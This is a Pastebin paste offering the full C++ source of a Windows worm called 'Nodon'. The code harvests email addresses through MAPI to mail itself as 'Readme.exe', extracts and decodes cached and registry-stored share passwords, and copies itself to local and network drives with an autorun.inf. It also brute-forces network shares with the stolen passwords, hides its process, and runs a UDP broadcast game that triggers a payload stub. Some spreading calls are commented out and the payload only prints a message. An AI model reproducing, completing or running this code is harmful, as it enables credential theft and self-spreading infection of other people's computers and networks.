Advertisement
FlyFar

Nodon - C++ Worm Source Code

Jan 31st, 2023 (edited)
768
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 23.71 KB | Cybersecurity | 0 0
  1. //--header-files--------------------------------------------------------------//
  2. #include <stdio.h>
  3. #include <windows.h>
  4. #include <mapi.h>
  5. #include <io.h>
  6. #include <dos.h>
  7.  
  8. #include <conio.h>
  9. //--defines-------------------------------------------------------------------//
  10. #define MAX_LENGTH          128
  11. #define MAX_RECIEVERS       50
  12. #define MUTEX_NAME          "w0rm"
  13. #define EARTH_WORM_JIM      "Readme.exe"
  14.  
  15. #define WORMGAME_PORT       12345
  16. #define WORMGAME_MAX_WINS   10
  17. #define WORMGAME_PKT_PLAY   0xFF
  18. #define WORMGAME_PKT_WIN    0x80
  19. //--globals-------------------------------------------------------------------//
  20. char *ptrEgo, *buf;
  21. char addressList[MAX_RECIEVERS][MAX_LENGTH], passwordList[50][MAX_LENGTH];
  22. int index = 0;
  23.  
  24. typedef struct tagPASSWORD_CACHE_ENTRY {
  25.     WORD cbEntry;
  26.     WORD cbResource;
  27.     WORD cbPassword;
  28.     BYTE iEntry;
  29.     BYTE nType;
  30.     BYTE abResource[1];
  31. } PASSWORD_CACHE_ENTRY;
  32.  
  33. typedef struct WormGamePkt {
  34.     BYTE pktType;
  35.     int pktNum;
  36. } AWORMGAMEPACKET;
  37. //--function-declarations-----------------------------------------------------//
  38. DWORD WINAPI WormGameThread( LPVOID );
  39. DWORD WINAPI WormMainThread( LPVOID );
  40.  
  41. BOOL runningNT();
  42. void propogateMAPI( void );
  43. int initMAPI( void );
  44. int validAddress( char * addr );
  45. int sendMessage( int recipNum, LHANDLE lhSession );
  46. int getSharePasswords( void );
  47. int getCachedPasswords( void );
  48. int addPassword( char * pwd );
  49. void propogateDrive( void );
  50. void attackDrive( char * drive, int type );
  51. void propogateNet( LPNETRESOURCE lpnr );
  52. int crackNetShare( char * share );
  53. void releasePayload();
  54.  
  55. extern "C" int __stdcall RegisterServiceProcess( int dwProcessID, int dwType );
  56. //--entry-point---------------------------------------------------------------//
  57. // WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
  58. int main( int argc, char **argv )
  59. {
  60.         HANDLE hMutex, hEgo, hWormGameThread, hWormMainThread;
  61.         DWORD WormGameThreadId, WormMainThreadId;
  62.  
  63.         // display explorer window if we need to, due to autorun.inf file :)
  64.         // test for any command line...
  65.  
  66.         /* only allow one instance of worm to run on system at one time */
  67.         hMutex = CreateMutex( NULL, TRUE, MUTEX_NAME);
  68.             if(  GetLastError() == ERROR_ALREADY_EXISTS )
  69.             {
  70.                 ExitProcess( 0 );
  71.             }
  72.  
  73.         ptrEgo = argv[0];
  74.  
  75.         /* try to 'hide' the process */
  76.             if( runningNT() == TRUE )
  77.             {
  78.                 // hide process in winNT
  79.                 printf("WORM running on WinNT\n");
  80.             } else {
  81.                 printf("WORM running on Win9x\n");
  82.                 LoadLibrary( "KERNAL32.DLL" );
  83.                 RegisterServiceProcess( NULL, 1);
  84.             }
  85.  
  86.         /* go resident and give worm RAW power */
  87.         hEgo = GetCurrentProcess();
  88.         SetPriorityClass( hEgo, HIGH_PRIORITY_CLASS);
  89.  
  90.         // create suspended WormMainThread...
  91.         hWormMainThread = CreateThread( NULL, 0, WormMainThread, 0, CREATE_SUSPENDED, &WormMainThreadId);
  92.             if( hWormMainThread != NULL )
  93.             {
  94.                 // set thread to time critical... 'i wana take you higher' - sly and the family stone
  95.                 //SetThreadPriority( hWormMainThread, THREAD_PRIORITY_TIME_CRITICAL);
  96.                 // resume thread execution...
  97.                 ResumeThread( hWormMainThread );
  98.             }
  99.  /*
  100.         // create suspended WormGameThread...
  101.         hWormGameThread = CreateThread( NULL, 0, WormGameThread, 0, CREATE_SUSPENDED, &WormGameThreadId);
  102.             if( hWormGameThread != NULL )
  103.             {
  104.                 // resume thread execution...
  105.                 ResumeThread( hWormGameThread );
  106.             }                                          
  107.                                                        */
  108.         /* wait for hWormGameThread() to terminate */
  109.      //   WaitForSingleObject( hWormGameThread, INFINITE);
  110.         WaitForSingleObject( hWormMainThread, INFINITE);
  111.  
  112.         printf("MAIN_DEBUG: worm threads ended, im outa here: press a key...\n");
  113.         getch();
  114.  
  115.         /* release our mutex, next local worm wont get blocked */
  116.             if( hMutex != NULL )
  117.             {
  118.                 ReleaseMutex( hMutex );
  119.             }
  120.         return 0;
  121. }
  122.  
  123. //----------------------------------------------------------------------------//
  124. DWORD WINAPI WormMainThread( LPVOID )
  125. {
  126.         DWORD dwSize;
  127.         char buff[64];
  128.         printf("WormMainThread: started...\n");
  129.         /* spread worm via MAPI */
  130.         propogateMAPI();
  131.         /* get any passwords we can for use later on */
  132.         getSharePasswords();
  133.         getCachedPasswords();
  134.         dwSize = 64;
  135.         WNetGetUser( NULL, buff, &dwSize );
  136.         addPassword( buff );
  137.         printf("DEBUG: total pwds got = %d\n", index);
  138.         /* spread worm via any/all localy maped drives */
  139.         propogateDrive();
  140.         /* spread worm via any/all LAN network shares */
  141.         propogateNet( NULL );
  142.         /* finished our little game :) */
  143.         ExitThread( 0 );
  144.         return 0;
  145. }
  146. //----------------------------------------------------------------------------//
  147. DWORD WINAPI WormGameThread( LPVOID )
  148. {
  149.  
  150.         WSADATA w;
  151.         SOCKET s_recv, s_send;
  152.         sockaddr_in saddr, saddr_in, saddr_out;
  153.         int size = sizeof( struct sockaddr ), totalwins = 0, magicWorm = 0, optval;
  154.         AWORMGAMEPACKET gamePkt;
  155.         fd_set fd_read;
  156.         struct timeval timeout = { 5, 0 };
  157.  
  158.             if( WSAStartup( MAKEWORD(1,0), &w) != 0 )
  159.             {
  160.                 printf("WormThread: WSAStartup failed\n");
  161.                 goto endThread;
  162.             }
  163.  
  164.         s_recv = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  165.         s_send = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  166.             if( s_recv == INVALID_SOCKET || s_send == INVALID_SOCKET )
  167.             {
  168.                 printf("WormThread: invalid socket\n");
  169.                 goto endThread;
  170.             }
  171.  
  172.         memset( &saddr_in, 0x00, sizeof( struct sockaddr));
  173.  
  174.         memset( &saddr, 0x00, sizeof( struct sockaddr));
  175.         saddr.sin_family = AF_INET;
  176.         saddr.sin_port = htons( WORMGAME_PORT );
  177.         saddr.sin_addr.s_addr = INADDR_ANY;
  178.  
  179.         memset( &saddr_out, 0x00, sizeof( struct sockaddr) );
  180.         saddr_out.sin_family = AF_INET;
  181.         saddr_out.sin_port = htons( WORMGAME_PORT );
  182.         saddr_out.sin_addr.s_addr = INADDR_BROADCAST;
  183.  
  184.         optval = 1;
  185.             if( setsockopt( s_send, SOL_SOCKET, SO_BROADCAST , (char*)&optval, sizeof( int) ) == SOCKET_ERROR )
  186.             {
  187.                 printf("WormThread: setsocketopt failed\n");
  188.                 goto endThread;
  189.             }
  190.  
  191.             if( bind( s_recv, (struct sockaddr*)&saddr, sizeof( struct sockaddr)) == SOCKET_ERROR )
  192.             {
  193.                 printf("WormThread: bind failed\n");
  194.                 goto endThread;
  195.             }
  196.  
  197.         FD_ZERO( &fd_read );
  198.         FD_SET( s_recv, &fd_read );
  199.         randomize();
  200. loop:
  201.         while( 1 )
  202.         {
  203.                if( totalwins >= WORMGAME_MAX_WINS )
  204.                 {
  205.                     releasePayload();
  206.                     totalwins = 0;
  207.                 }
  208.             // pick a magic number...
  209.             magicWorm = ( ( rand() % 100 ) + 1 );
  210.             printf("WormThread: picked a magic num: %d\n", magicWorm);
  211.             // wait a length of time...
  212.             Sleep( 500 );
  213.             // send my magic number...
  214.             gamePkt.pktType = WORMGAME_PKT_PLAY;
  215.             gamePkt.pktNum = magicWorm;
  216.                 if( sendto( s_send, (const char*)&gamePkt, sizeof( struct WormGamePkt ), 0, (struct sockaddr*)&saddr_out, size) == SOCKET_ERROR )
  217.                 {
  218.                     printf("WormThread: sendto failed\n");
  219.                     break;
  220.                 }
  221.  
  222.             // handel responces...
  223.                 while( select( 0, &fd_read, NULL, NULL, &timeout) != SOCKET_ERROR )
  224.                 {
  225.                     if( recvfrom( s_recv, (char*)&gamePkt, sizeof( struct WormGamePkt ), 0, (struct sockaddr*)&saddr_in, &size) == SOCKET_ERROR )
  226.                     {
  227.                         printf("WormThread: recvfrom failed\n");
  228.                         break;
  229.                     } else {
  230.                         switch( gamePkt.pktType )
  231.                         {
  232.                             case WORMGAME_PKT_PLAY: // recieved a magic number...
  233.                                 // ignore responce from local machine...
  234.                                 printf("WormThread: recieved a magic num: %d\n", gamePkt.pktNum);
  235.                                 // process other responces
  236.                                     if( gamePkt.pktNum == magicWorm )
  237.                                     {
  238.                                         // notify any winners
  239.                                         gamePkt.pktType = WORMGAME_PKT_WIN;
  240.                                         saddr_out.sin_addr.s_addr = saddr_in.sin_addr.s_addr;
  241.                                         sendto( s_send, (const char*)&gamePkt, sizeof( struct WormGamePkt ), 0, (struct sockaddr*)&saddr_out, size);
  242.                                         saddr_out.sin_addr.s_addr = INADDR_BROADCAST;
  243.                                     }
  244.                                 break;
  245.                             case WORMGAME_PKT_WIN: // im a winner :)
  246.                                 printf("WormThread: IM A WINNER!!!\n");
  247.                                 totalwins++;
  248.                                 goto loop;
  249.                             default:   // its all gone bugfuck!
  250.                                 printf("WormThread: its all gone bugfuck!\n");
  251.                                 break;
  252.                         }
  253.                     }
  254.                 } // while(select...
  255.         }
  256. endThread:
  257.         closesocket( s_recv );
  258.         closesocket( s_send );
  259.         ExitThread( 0 );
  260.         return 0;
  261. }
  262. //----------------------------------------------------------------------------//
  263. BOOL runningNT()
  264. {
  265.         OSVERSIONINFO osvi;
  266.         BOOL retval = FALSE;
  267.  
  268.         osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  269.         GetVersionEx(&osvi);
  270.             switch( osvi.dwPlatformId )
  271.             {
  272.                 case VER_PLATFORM_WIN32_NT:
  273.                     retval = TRUE;
  274.                     break;
  275.                 case VER_PLATFORM_WIN32_WINDOWS:
  276.                     retval = FALSE;
  277.                     break;
  278.                 default: // VER_PLATFORM_LINUX ? :) || VER_PLATFORM_WIN32_ANOTHERBUGGYRELEASE
  279.                     retval = FALSE;
  280.                     break;
  281.             }
  282.         return retval;
  283. }
  284. //----------------------------------------------------------------------------//
  285. void propogateMAPI( void )
  286. {
  287.         LHANDLE lhSession;
  288.         CHAR rgchMsgID[513];
  289.         MapiMessage *lpMessage;
  290.         int i=0;
  291.             if( initMAPI() != 0 )
  292.             {
  293.                 return;
  294.             }
  295.             if( MAPILogon( 0, NULL, NULL, 0, 0, &lhSession) == SUCCESS_SUCCESS)
  296.             {
  297.                 *rgchMsgID = NULL;
  298.                     while( i < MAX_RECIEVERS )
  299.                     {
  300.                         if( MAPIFindNext( lhSession, 0L, NULL, rgchMsgID, MAPI_LONG_MSGID, 0L, rgchMsgID) != SUCCESS_SUCCESS)
  301.                         {
  302.                             break;
  303.                         }
  304.                         if( MAPIReadMail( lhSession, 0L, rgchMsgID, MAPI_PEEK, 0L, &lpMessage) == SUCCESS_SUCCESS)
  305.                         {
  306.                     //    printf("DOING: %s\n\t%s\n",lpMessage->lpOriginator->lpszAddress,lpMessage->lpRecips->lpszAddress);
  307.                             if( validAddress( lpMessage->lpOriginator->lpszAddress ) == 0 )
  308.                             {
  309.                                 strcpy( addressList[i], lpMessage->lpOriginator->lpszAddress);
  310.                                 i++;
  311.                             }
  312.                             if( validAddress( lpMessage->lpRecips->lpszAddress  ) == 0 )
  313.                             {
  314.                                 strcpy( addressList[i], lpMessage->lpRecips->lpszAddress);
  315.                                 i++;
  316.                             }
  317.                         }
  318.  
  319.                     }
  320.                 MAPIFreeBuffer( lpMessage );
  321.  
  322.                 // TO DO: sort addressList and remove duplicates...
  323.  
  324.                 //sendMessage( i, lhSession );    // <---- !!!!!!
  325.  
  326.                 MAPILogoff( lhSession, 0L, 0L, 0L);
  327.             }
  328.             for( int x = 0 ; x < i ; x++ )
  329.             {
  330.                 printf("DEBUG: attacking:\t%s\n", addressList[x]);
  331.             }
  332.         return;
  333. }
  334. //----------------------------------------------------------------------------//
  335. int initMAPI( void )
  336. {
  337.         HINSTANCE hi;
  338.         LPMAPILOGON MAPILogon;
  339.         LPMAPIFINDNEXT MAPIFindNext;
  340.         LPMAPIREADMAIL MAPIReadMail;
  341.         LPMAPISENDMAIL MAPISendMail;
  342.         hi = LoadLibrary( "mapi32.dll" );
  343.             if( hi == NULL )
  344.             {
  345.                 return -1;
  346.             }
  347.         MAPILogon = (LPMAPILOGON)GetProcAddress( hi, "MAPILogon");
  348.         MAPIFindNext = (LPMAPIFINDNEXT)GetProcAddress( hi, "MAPIFindNext");
  349.         MAPIReadMail = (LPMAPIREADMAIL)GetProcAddress( hi, "MAPIReadMail");
  350.         MAPISendMail = (LPMAPISENDMAIL)GetProcAddress( hi, "MAPISendMail");
  351.             if( MAPILogon == NULL || MAPIFindNext == NULL || MAPIReadMail == NULL || MAPISendMail == NULL )
  352.             {
  353.                 return -1;
  354.             }
  355.         return 0;
  356. }
  357. //----------------------------------------------------------------------------//
  358. int validAddress( char * addr )
  359. {
  360.         if( strlen( addr ) >= MAX_LENGTH || strlen( addr ) == 0)
  361.         {
  362.             return -1;
  363.         } else if( strchr( addr , '@') == NULL )
  364.         {
  365.             return -1;
  366.         } else if( strchr( addr , '.') == NULL )
  367.         {
  368.             return -1;
  369.         } else {
  370.             return 0;
  371.         }
  372. }
  373. //----------------------------------------------------------------------------//
  374. int sendMessage( int recipNum, LHANDLE lhSession )
  375. {
  376.         MapiRecipDesc *recips  = (MapiRecipDesc *)malloc( recipNum*sizeof(MapiRecipDesc) );
  377.         MapiFileDesc attachment = { 0, 0, (ULONG)-1, ptrEgo, EARTH_WORM_JIM, NULL};
  378.             for( int i=0 ; i<recipNum ; i++ )
  379.             {
  380.                 recips[i].ulReserved   = 0;
  381.                 recips[i].ulRecipClass = MAPI_TO;
  382.                 recips[i].lpszName     = addressList[i];
  383.                 recips[i].lpszAddress  = addressList[i];
  384.                 recips[i].ulEIDSize    = 0;
  385.                 recips[i].lpEntryID    = NULL;
  386.             }
  387.         MapiMessage note = { 0, "The Subjext", "The Message Text", NULL, NULL, NULL, 0, NULL, recipNum, recips, 1, &attachment};
  388.             if( MAPISendMail( lhSession, 0L, &note, 0L, 0L) != SUCCESS_SUCCESS )
  389.             {
  390.                 return -1;
  391.             }
  392.         free( recips );
  393.         return 0;
  394. }
  395. //----------------------------------------------------------------------------//
  396. int CALLBACK pce(PASSWORD_CACHE_ENTRY *x, DWORD)
  397. {
  398.         memmove(buf, x->abResource+x->cbResource, x->cbPassword);
  399.         buf[x->cbPassword] = 0;
  400.         addPassword( buf );
  401.         return 0;
  402. }
  403. //----------------------------------------------------------------------------//
  404. int getCachedPasswords( void )
  405. {
  406.         buf = new char[1024];
  407.         HINSTANCE hi = LoadLibrary("mpr.dll");
  408.             if( hi == NULL )
  409.             {
  410.                 return -1;
  411.             }
  412.         WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) = (WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi, "WNetEnumCachedPasswords");
  413.             if( enp == NULL )
  414.             {
  415.                 return -1;
  416.             }
  417.         enp( 0, 0, 0xff, pce, 0);
  418.         FreeLibrary( hi );
  419.         return 0;
  420. }
  421. //----------------------------------------------------------------------------//
  422. BYTE rotr( BYTE b )
  423. {
  424.         BYTE carry;
  425.         carry = b & 0x01;
  426.         carry <<= 7;
  427.         b >>= 1;
  428.         b |= carry;
  429.         return b;
  430. }
  431. //----------------------------------------------------------------------------//
  432. void decodePW( char * pw )
  433. {
  434.         BYTE hash = 0x35;
  435.             while( pw && *pw )
  436.             {
  437.                 *pw = *pw ^ hash;
  438.                 pw++;
  439.                 hash = rotr( hash );
  440.             }
  441. }
  442. //----------------------------------------------------------------------------//
  443. int addPassword( char * pwd )
  444. {
  445.             if( (strlen(pwd) > 0) && (strlen(pwd) < MAX_LENGTH) )
  446.             {
  447.                 strcpy( passwordList[ index ], pwd);
  448.                 printf("DEBUG: ADDED: %s\n", passwordList[ index ]);
  449.                 index++;
  450.             }
  451.         return 0;
  452. }
  453. //----------------------------------------------------------------------------//
  454. int getSharePasswords( void ){
  455.         if( runningNT() == FALSE )
  456.         {
  457.             HKEY key, subkey;
  458.             DWORD i, maxKeys, len, junk;
  459.             char keyName[256], wrightPwd[256], readPwd[256];
  460.             RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan", 0, NULL, &key);
  461.             RegQueryInfoKey (key, NULL, NULL, NULL, &maxKeys, NULL, NULL,NULL, NULL, NULL, NULL, NULL);
  462.                 if( maxKeys != 0 )
  463.                 {
  464.                     for( i=0; i<maxKeys; i++ )
  465.                     {
  466.                         RegEnumKey(key, i, keyName, 256);
  467.                         RegOpenKeyEx(key, keyName, 0, NULL, &subkey);
  468.                         wrightPwd[0] = readPwd[0] = 0;
  469.  
  470.                         len = 256;
  471.                         RegQueryValueEx(subkey, "Parm1enc", NULL, &junk, (BYTE *)wrightPwd, &len);
  472.                         wrightPwd[len] = 0;
  473.                         decodePW(wrightPwd);
  474.                         addPassword( wrightPwd );
  475.  
  476.                         len = 256;
  477.                         RegQueryValueEx(subkey, "Parm2enc", NULL, &junk, (BYTE *)readPwd, &len);
  478.                         readPwd[len] = 0;
  479.                         decodePW(readPwd);
  480.                         addPassword( readPwd );
  481.                     }
  482.                 }
  483.             RegCloseKey(subkey);
  484.             RegCloseKey(key);
  485.         }
  486.         return 0;
  487. }
  488. //----------------------------------------------------------------------------//
  489. void propogateDrive( void )
  490. {
  491.         int length;
  492.         char buff[MAX_LENGTH], *ptr;
  493.  
  494.         ptr = buff;
  495.         length = GetLogicalDriveStrings( MAX_LENGTH, ptr) ;
  496.  
  497.         if( length > 0 && length < MAX_LENGTH)
  498.         {
  499.             for( int i=0 ; i<=(length/4) ; i++ )
  500.             {
  501.                     switch( GetDriveType( ptr ) )
  502.                     {
  503.                         case DRIVE_FIXED:
  504.                             // The drive is a local drive.
  505.                             printf("DRIVE_FIXED: %s\n", ptr);
  506.                             attackDrive( ptr, 1 );
  507.                             break;
  508.                         case DRIVE_REMOTE:
  509.                             // The drive is a network drive.
  510.                             printf("DRIVE_REMOTE: %s\n", ptr);
  511.                             attackDrive( ptr, 1 );
  512.                             break;
  513.                         default:
  514.                             break;
  515.                     }
  516.                 *ptr+=1;
  517.             }
  518.         }
  519.         return;
  520. }
  521. //----------------------------------------------------------------------------//
  522. void attackDrive( char * drive, int type )
  523. {
  524.         FILE *fpAutorun;
  525.         char buff[MAX_LENGTH];
  526.         // copy worm to drive, Attribute = hidden
  527.             if( type == 1 )
  528.             {
  529.                 sprintf( buff, "%s%s", drive, EARTH_WORM_JIM);
  530.             } else {
  531.                 sprintf( buff, "%s\\%s", drive, EARTH_WORM_JIM);
  532.             }
  533.         printf("DEBUG: propogateDrive: attacking %s\nATTACK REMOTE: %s\n", drive, buff);
  534.         /*    if( CopyFile( ptrEgo, buff, FALSE) == TRUE && type == 1 )
  535.             {
  536.                 // create an Autorun.inf file on drive, Attribute = hidden
  537.                 sprintf( buff, "%sAutorun.inf", drive);
  538.                 fpAutorun = fopen(buff, "w");
  539.                     if( fpAutorun != NULL )
  540.                     {
  541.                         fprintf( fpAutorun, "[Autorun]\nOPEN=%s\n", EARTH_WORM_JIM);
  542.                         fclose( fpAutorun );
  543.                         _rtl_chmod(buff, 1, FA_HIDDEN | FA_RDONLY);
  544.                     }
  545.             }   */
  546.         return;
  547. }
  548. //----------------------------------------------------------------------------//
  549. void propogateNet( LPNETRESOURCE lpnr )
  550. {
  551.         DWORD dwResult, dwResultEnum, cbBuffer = 16384, cEntries = 0xFFFFFFFF;
  552.         HANDLE hEnum;
  553.         LPNETRESOURCE lpnrLocal;
  554.         dwResult = WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, lpnr, &hEnum);
  555.             if( dwResult != NO_ERROR )
  556.             {
  557.                 return;
  558.             }
  559.             do
  560.             {
  561.                 lpnrLocal = (LPNETRESOURCE) GlobalAlloc(GPTR, cbBuffer);
  562.                 dwResultEnum = WNetEnumResource(hEnum, &cEntries, lpnrLocal, &cbBuffer);
  563.                     if ( dwResultEnum == NO_ERROR )
  564.                     {
  565.                         for( DWORD i = 0; i < cEntries; i++ )
  566.                         {
  567.                                 if( RESOURCEUSAGE_CONTAINER == ( lpnrLocal[i].dwUsage & RESOURCEUSAGE_CONTAINER ) )
  568.                                 {
  569.                                     propogateNet( &lpnrLocal[i] );
  570.                                 } else if( RESOURCETYPE_DISK  == ( lpnrLocal[i].dwUsage & RESOURCETYPE_DISK ) )
  571.                                 {
  572.                                     if( WNetAddConnection( lpnrLocal[ i ].lpRemoteName, NULL, NULL) == ERROR_INVALID_PASSWORD )
  573.                                     {
  574.                                         // try all found password/username combinations...
  575.                                         printf("ERROR_INVALID_PASSWORD "); printf("ATTACKING: %s\n",lpnrLocal[ i ].lpRemoteName );
  576.                                             if( crackNetShare( lpnrLocal[ i ].lpRemoteName ) == 0 )
  577.                                             {
  578.                                                 attackDrive( lpnrLocal[i].lpRemoteName, 0 );
  579.                                                 WNetCancelConnection( lpnrLocal[i].lpRemoteName, FALSE);
  580.                                             }
  581.                                     } else {
  582.                                         attackDrive( lpnrLocal[i].lpRemoteName, 0 );
  583.                                         WNetCancelConnection( lpnrLocal[i].lpRemoteName, FALSE);
  584.                                         printf("ACCESS NOT DENIED "); printf("ATTACKING: %s\n",lpnrLocal[ i ].lpRemoteName );
  585.                                     }
  586.                                 }
  587.                         }
  588.                     } else if( dwResultEnum != ERROR_NO_MORE_ITEMS ) {
  589.                         break;
  590.                     }
  591.             } while( dwResultEnum != ERROR_NO_MORE_ITEMS );
  592.         GlobalFree( (HGLOBAL) lpnrLocal );
  593.         WNetCloseEnum( hEnum );
  594.         return;
  595. }
  596. //----------------------------------------------------------------------------//
  597. int crackNetShare( char * share )
  598. {
  599.         int retval = 0;
  600.             for( int i=0 ; i<index ; i++ )
  601.             {
  602.                 retval = WNetAddConnection( share , passwordList[i], NULL );
  603.                 if( retval == NO_ERROR && retval != ERROR_INVALID_PASSWORD )   // <----- !!! dodgy testing, fix it
  604.                 {
  605.                     printf("PASS CRACKED: %s : %s\n", share , passwordList[i]);
  606.                     return 0;
  607.                 }
  608.             }
  609.         return -1;
  610. }
  611. //----------------------------------------------------------------------------//
  612. void releasePayload()
  613. {
  614.         printf("\n\t!!! PAYLOAD !!!\n");
  615.         return;
  616. }
  617. //----------------------------------------------------------------------------//
Tags: cplusplus
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement